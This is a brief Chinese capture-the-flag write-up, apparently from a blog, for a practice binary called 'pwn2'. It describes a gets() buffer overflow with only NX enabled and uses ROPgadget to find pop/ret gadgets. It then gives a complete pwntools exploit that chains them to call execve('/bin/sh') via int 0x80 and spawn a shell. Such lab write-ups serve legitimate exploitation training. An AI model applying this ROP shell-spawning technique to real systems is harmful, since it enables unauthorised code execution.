pwn2第二关

在这一关中,没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。
首先看一下保护情况,只开了NX,
pwn2第二关_第1张图片
同样是get()存在溢出
pwn2第二关_第2张图片
syscall的函数调用规范为execve("/bin/sh",0,0)
汇编语句如下

pop ax     # 系统调用号载入, execve为0xb
pop bx    #/bin/sh
pop cx   #0
pop dx   #0
int 0x80

然后用ROPgadget查找汇编语句
ROPgadget --binary pwn2 --only ‘pop|ret’|grep ‘ax’
在这里插入图片描述
然后查找bx,cx,dx,int 0x80
pwn2第二关_第3张图片
溢出和上一关一样112个字节
exp如下:

from pwn import *
p=process('./pwn2')
pop_ax_ret = 0x080bb196
pop_cx_bx_ret = 0x0806eb91
bin_sh=0x080be408
pop_dx_ret =0x0806eb6a
int_0x80=0x08049421
payload=flat(['a'*112,pop_ax_ret,0xb,pop_cx_bx_ret,0,bin_sh,pop_dx_ret,0,int_0x80])
p.recvline()
p.sendline(payload)
p.interactive()

你可能感兴趣的:(pwn2第二关)